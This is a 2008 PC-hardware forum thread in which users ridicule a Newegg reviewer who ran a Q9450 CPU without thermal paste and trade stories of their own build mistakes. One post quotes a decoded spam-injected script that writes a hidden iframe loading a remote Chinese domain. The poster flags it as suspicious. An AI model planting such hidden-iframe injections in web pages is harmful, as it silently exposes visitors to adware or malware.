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Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 12:20 pm
by HONkUS
So im looking to buy a Q9450 and i was reading reviews on Newegg, this one really caught my eye so i felt like i had to share it with everyone:
Pros: This processor seemed like a good buy. It is 45 nm and a good clock speed. It should be relatively easy to OC. Vista64 runs quick and responsive, almost flawless in Oblivion at maxed settings.
Cons: My particular chip runs very hot. I am not using thermal paste, but i am using an Arctic 7 freezer pro cooler and a good case. My idle temps are 50-60 celcius and load temps hit 70. I expected it to be at least 10 degrees cooler... now i'm afraid to OC.
Other Thoughts: It could be i didn't install it properly... but thats pretty unlikely. All of the cores run at the same temp, with core 0 about 5 degrees hotter.
Wow.
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 12:23 pm
by DMB2000uk
What a complete and utter noob >_>
Why would they boldly proclaim such a stupid feat!
Shows how good intel are though if that thing is running ok with practically no thermal contact!
Dan
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 12:34 pm
by unfaithfulsfan
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 1:16 pm
by smack323
wow that guys is almost as bad as me - when i came home from the bar and decided to swap out video cards and forgot to shut down the computer first.. well maybe i didnt forget and was just in a hurry... stupid beer. lol
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 1:45 pm
by vicaphit
I bet he put "Tech level: High"
You would think that someone who is willing to pay that much for a processor would take the time to find out how to install the damn thing. I hope he burns it out.
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 3:21 pm
by ratNukit
nice nice ^^
Well I changed fans in my case once and accidentially removed the fan connector of the CPU
It ran well for 5 min and then just crashed. I didn't realise what was going on though. so I tried to start is again with just a blank screen. After opening the case it kinda smelled funny and I noticed the connector hanging in mid air
. Ah well my 6000 is still running^^
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 3:25 pm
by Apoptosis
lucky for him you can get away with no thermal paste on these 45nm processors... I forgot to plug in the water cooler one time and ran about 20 minutes of benchmarks at 100% CPU load on a QX9770 and it didn't even throttle with just the CPU waterblock... Processors these days are almost fool proof... I bet money that guy left the plastic on the bottom of the CPU cooler too ;)
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 3:39 pm
by hnzw_rui
The Arctic Cooling Freezer 7 Pro came with thermal paste pre-applied... Did he wipe it off the heatsink?
Switched processors yesterday (E2160 -> E7200) and it kept locking up on boot-up. Apparently, I forgot to plug the EPS/ATX12V 4 pin back in (had to take it out so I could install the heatsink properly).
At least I didn't forget the thermal paste.
But darn, stock HSF for E7200 is half the height of the one which came with my E2160.
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 6:14 pm
by InspectahACE
its like when I put a Pop Tart in the microwave...and the microwave blew up...why? because I thought taking it out of the wrapper would not do good...
I had to leave a review on there just to call him a noob
..whether they post it is another story lol...that was just rather ignorance on his part...I cant stand ignorance lmao..was a good read at least..hell id expect you guys to clown me if i did something nutty like that..Id clown myself too
Re: Crazy Newegg reviewers.........
Posted: Thu Jul 17, 2008 8:29 pm
by XstollieX
Apoptosis wrote: I bet money that guy left the plastic on the bottom of the CPU cooler too ;)
I thought you were supposed to leave the plastic on to protect the finish
Re: Crazy Newegg reviewers.........
Posted: Fri Jul 18, 2008 9:28 pm
by bmaverick
Oh great. I bet the Newegg poster avoid the TIM paste due to this warning of it being too thick. So he removed it all together and mounded the cooler.
I hate the Intel plastic push-in twist pins. Dumb cheapo ITW products.
Re: Crazy Newegg reviewers.........
Posted: Sat Jul 19, 2008 8:07 am
by Alathald
Those spammers sure are getting good at what they do...found some nasty hexcode in the source code that translates to something like
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<script type="text/javascript">
eval(unescape("document.write('<iframe src="http://orentraff.cn/in.cgi?5" width="0" height="0" style="display:none"></iframe>');"));
</script>
so I'm guessing it's some sort of spy or adware of one form or another...any enlightenments from the Java pros?
EDIT: didn't want to imply supremelaw is necessarily a spammer, a quick google search reveals loads of problems with the similar obfuscated code on other sites. When I say spammer, I meant the person who put that code there which from the looks of other sites probably wasn't supremelaw...
Re: Crazy Newegg reviewers.........
Posted: Sat Jul 19, 2008 9:22 am
by dicecca112
He's a spammer and now is gone
Re: Crazy Newegg reviewers.........
Posted: Mon Jul 28, 2008 2:12 pm
by DX
LOL I had a guy at work who build his own system at home and was freaking out cause his CPU was running at 65-75c and he has a HUGE heat sink on it. I go and find that he hadn't removed the protective plastic film on the contact part of the the heat sink =)
Re: Crazy Newegg reviewers.........
Posted: Mon Jul 28, 2008 2:29 pm
by vicaphit
Did the plastic melt to the heatsink?
Re: Crazy Newegg reviewers.........
Posted: Tue Jul 29, 2008 8:54 am
by DX
Actually it didn't. I just pealed it off leaving a nice clean mating surface. The look on his face for making such a bone headed mistake though was priceless =)
